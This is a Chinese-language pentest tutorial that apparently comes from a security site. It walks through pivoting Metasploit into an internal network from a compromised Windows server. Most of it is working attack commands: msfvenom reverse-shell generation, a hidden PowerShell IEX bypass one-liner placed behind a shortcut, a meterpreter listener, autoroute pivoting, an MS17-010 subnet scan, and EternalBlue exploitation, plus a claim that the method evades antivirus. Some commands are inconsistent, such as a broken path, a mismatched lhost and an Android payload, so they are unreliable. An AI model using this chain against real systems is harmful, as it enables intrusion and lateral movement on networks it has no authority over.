作者:myles007
预估稿费:300RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一、利用过程
1.1 利用背景
我们在渗透的过程中常常会遇到这种场景:我们已经通过web渗透拿下一台内网服务器,为了进一步进行内网渗透,我们会利用“沦陷主机”作为跳板进行进一步的内网渗透,而内网渗透的思路和方法可能很多,但是使用起来并不是很方便,可能会需要很庞大的工具箱的支持,具体内容这里不做展开说明。
我们现在假设的场景是,此时我们已经拿下一台内网服务器的远程桌面环境,在进行内网渗透时,发现内网有大量存MS17-010的漏洞主机,如果我们想拿下这些主机,可能就要动用NSA工具箱,但是此工具箱的使用相当的麻烦,此时我们第一时间想起的一定是神器Metasploit,其是进行内网渗透的一把利器,且使用方便,但是我们同样不能将这么大的一个框架部署到“沦陷的主机”上吧。那么问题来了,我们有没有好的办法直接使用我们外网已经搭建好的MSF框架呢?这里提供大家一个思路,我们是不是可以利用“沦陷主机”作为跳板,来实现使用MSF框架直接对内网主机的直接渗透呢?答案是当然的,MSF框架为我们提供了一个很好功能跳板版能模块,此模块可以为我们添加一条转发路由去往内网,具体内容会在下面的文档中为大家揭晓。
1.2 利用场景拓扑
1.3 利用场景思路
本篇文档,我们使用的方法和思路,就是结合powershell ps1 攻击载荷来在“沦陷主机”上直接反弹回一个session会话,然后利用此session会话作为MSF访问内网的跳板(即路由的下一跳(nexthop)网关),从而来实现MSF直接对内网主机资源的直接访问。
利用条件:
(1)已经拿下的webshell 的 Windows服务器;
(2)powershell ps1会话反弹
(3)MSF跳板路由添加
二、利用过程分析
2.1 生成powershell反弹
如果想要利用MSF攻击平台直接对内网其他主机进行渗透攻击,那么我们的MSF平台需要要有去往“目标内网的路由”,但是我们知道“目标内网服务器”除了对外服务的服务器我们可以直接访问,其实内网其他主机都是私有IP,无法由互联网直接访问的,这时我就需要在MSF平台添加一条路由去往内网,而MSF平台就有这个“路由转发的功能”,而且这一去往内网路由的下一跳就是建立在MSF平台与“目标主机”之间session会话上的。所以,我们在使用MSF路由转发功能时,首先就是要先建立一个“MSF平台”与“目标主机”的session会话。
因为笔者前面已经说过直接产生dll 反弹shell的方法,这里就在学习与记录下反弹powershell ps1的shell反弹过程。
2.1.1 使用MSF生成一个反弹的 ps1的shell
反弹shell生成语句如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.123 lport=12345 -f psh-reflection>/tmp/search.ps1
注:可能会有小伙伴会问,为什么不直接使用MSF生产一个反弹shell就好了,说的没错直接使用MSF生产一个反弹shell也是可以的,只是可能如果服务器上有相关的杀软的话,可能就会被干掉,我这里直接使用这一刚刚暴露出的漏洞其有很好的过杀软的作用,且其可用利用系统访问范围几乎是全覆盖的,同时本人是想把此漏洞的实战利用价值和思维也带给大家。
2.1.2 上传search.ps1到目标主机
生成完ps1 shell后,想办法将search.ps1上传到目标服务器,为下一步漏洞的触发调用做好准备,这里笔者就直上传了到服务器桌面。
注:可能有很多小伙伴看过网上的教程,对此有些疑问,网上给出的使用方法,一般是将这shell脚本通过web服务发布到网上,然后利用用户点击快捷方式的时候触发shell下载,然后执行shell获取一个shell反弹。
我这里的实际环境是,我们已经获取了目标站点的shell,可以直接上传这个shell,然后让然漏洞利用直接在本地执行,无需再去网络上下载。
2.1.3 本地生成一个powershell 本地快捷方式
首先,输入快捷方式调用的对象位置,具体的powershell 本地调用方式的语句如下:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:UsersMylesDesktopshell.ps1');test.ps1"
随后,我将这个powershell快捷方式命名为poweshell.exe。
2.1.4 开启MSF本地监听
在LNK漏洞环境都准备完毕后,接下就是开启远端的监听了,等待漏洞触发反弹出一个shell出来,具体MSF开启端口监听的命令如下。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 192.168.1.123
set lport 12345
exploit
2.1.5 主动触发漏洞获取反弹shell
MSF监听已经开了,反弹shell也已经上传,现在我们只要主动触发shell反弹即可。即,我们只要双击桌面快捷方式,即可反弹出一个shell到远端的MSF监听,我很快就可以看到MSF的会话监听已经打开,shell已经反弹成功,成功获取一个MSF与目标主机的session会话。
再次解惑:
可能前面我们做了这么多工作,还是有小伙伴并不清楚我们要做什么,可能还回吐槽说我们都已经获取目标主机的控制权限了,还要创建个MSF的session会有啥意义呢?
其实我们回到文档的开头,回到标题我们可能就会知道我们为什么要获取一个“目标主机与MSF的session会话”了,我创建这个session就是为了能使用MSF这个框架对内网的其他主机做进一步的渗透了,有个这个session,我们的外网MSF攻击平台就能利用这个session帮助我们与内网主机的通信提供数据路由转发,下面一个节会详细给大家介绍有关MSF路由添加功能的实现。
2.2 MSF跳板功能
2.2.1 基本概念
MSF的跳板功能,其实是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往“内网”的路由,此路由的下一跳转发,即网关是MSF攻击平台与被攻击目标建立的一个session会话,具体理解大家可以看见前面的1.2章节的拓扑图。
通过msf添加路由功能,可以直接使用msf去访问原本不能直接访问的内网资源,只要路由可达了那么我们使用msf的强大功能,想干什么就干什么了。
2.2.2 msf 跳板实现过程
2.2.2.1 基本过程
(1)需要有一个已经获取的meterpreter 会话;
(2)获取内网地址网段
(3)在MSF平台上添加去往“内网网段”的路由
2.2.2.2 实现过程
(1) 已经获取一个meterpreter shell
第1个条件,是我们要想办法获取一个MSF攻击平台与目标主机的shell会话(meterpreter),然后利用此会话。具体获取meterpreter会话的方法很多,本演示案列中是以powershell ps1 反弹一个会话为演示,具体内容请见后面复现过程。
MSF 路由添加帮助查询命令如下:
meterpreter > run autoroute -h
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Usage: run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module
(2)获取目标内网地址段
具体获取被攻击目标内网地址网段的命令如下所示:
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.17.0.0/255.255.0.0
由上可以获知,目标内网网段是“172.17.0.0./24”
(3)添加去往目标网段的转发路由
在meterpreter 会话上直接添加去往目标网段的路由,具体添加方法如下所示。
meterpreter > run autoroute -s 172.17.0.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.17.0.0/255.255.255.0...
[+] Added route to 172.17.0.0/255.255.255.0 via 10.48.8.234
[*] Use the -p option to list all active routes
添加网路由后,我们来查看下路由的添加情况如何,具体命令如下所示:
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
172.17.0.0 255.255.255.0 Session 3
注:由以上内容,我们可以看到出添加了一条路由:
目标:172.17.0.0 掩码:255.255.25.0 下一跳网关:Session 3
这里的 Session 3,即当前被攻击目标主机与MSF平台建立的meterperter会话。
OK, MSF平台有了去往内网网段的路由,我们就可以直接使用MSF平台对内网的主机进行进一步的渗透利用了。
三、案列场景复现
3.0 复现场景拓扑
(1)MSF平台:192.168.10.109
(2)目标主机:10.48.8.234
(3)目标网段:10.48.8.0/24
具体复现的场景,就是1.2章节网络环境拓扑。
3.1 打开MSF本地监听
为了接受目标主机反弹回来的meterperter shell,我们需要首先打开一个MSF本地监听端口,等待会话的反弹,具体操作过程如下。
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.10.109
set lport 12345
exploit
3.2 使用powershell ps1 获取一个meterpreter
3.2.1 生成 powershell ps1攻击载荷
此时我们已经获取了目标主机的windows控制权限,接下来我们直接使用MSF生成一个ps1反弹shell;
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.109 lport=12345 -f psh-reflection>/tmp/search.ps1
3.2.2 上传反弹shell到目标主机
在生成反弹shell后,我们就是直接上传search.ps1 攻击载荷到目标主机。
3.2.3 触发 powershell 反弹shell
利用上传的search.ps1 攻击payload,在目标主机上生成一个powershell 本地快捷方式,然后点击快捷方式触发powershell ps1利用,反弹一个shell会话到MSF平台。有关poershell ps1 快捷方式的语句如下所示(具体详细使用情况可参见章节:2.1.3)。
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:UsersMylesDesktopshell.ps1');test.ps1"
注:直接复制上面的语句到创建快捷方式的“请键入对象的位置”即可,但是各位自操作时,请注意serach.ps1的物理位置,不要搞错。
3.3 获取内网网段信息
在MSF平台监听端,我们获取反弹的shell后(即session),我们可以直接在meterpreter控制终端进行目标网段信息的查询,具体查询命令如下。
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.48.8.0/255.255.255.0
Local subnet: 169.254.0.0/255.255.0.0
meterpreter >
通过内网本地路由查询,可以获悉内网网段地址为:10.48.8.0/24
3.4 添加目标网段路由
我们在获知目标内网网段路由为10.48.8.0/24后,接下来就是添加去往目标内网网段(10.48.8.0/24)的静态路由,添加路由的具体命令执行如下。
meterpreter > run autoroute -s 10.48.8.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 10.48.8.0/255.255.255.0...
[+] Added route to 10.48.8.0/255.255.255.0 via 10.48.8.234
[*] Use the -p option to list all active routes
meterpreter >
3.5 内网主机渗透
我们将去往内网的路由打通后,接下来就可以使用MSF平台直接对内网主机扫描和进行各种高危漏洞的直接渗透利用了。
3.5.1 退到后台
首先我们需要退到MSF攻击平台的操作面,为后面调用其他攻击模块做好准备,具体操作如下。
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > sessions -i
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
2 meterpreter x64/windows admin-PCadmin @ ADMIN-PC 192.168.10.109:12345 -> 10.48.8.234:53462 (10.48.8.234)
3.5.2 漏洞主机发现
通过目标主机,我们可以直接使用MSF下的扫描模块进行主机发现与扫描,这里我们直接使用最近流行的“永恒之蓝”漏洞扫描模块进行网络主机漏洞扫描。
use auxiliary/scanner/smb/smb_ms17_010
show options
set rhosts 10.48.8.0/24
set threads 50
run
通过主机漏洞扫描,我们发现10.48.8.236主机存在一个MS17-010漏洞。
3.5.3 调用攻击载荷
通过目标主机我们扫描发现内网有台主机存在MS17-010漏洞(10.48.8.236),我们现在直接使用使用MSF平台调通“永恒之蓝”漏洞攻击载荷,进行攻击获取主机控制权限,操作过程如下。
msf exploit(handler) > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 10.48.8.236
rhost => 10.48.8.236
msf exploit(ms17_010_eternalblue) > exploit
自此我们使用 "MSF 的跳转路由转发",直接使用外网的MSF平台实现对内网私有主机的攻击演示结束,好了打完收工,各位看客有钱的捧个钱场,没钱的捧个人场,开个玩笑。
注:以上内容仅为个人学习所用,请勿用于非法攻击。
学习参考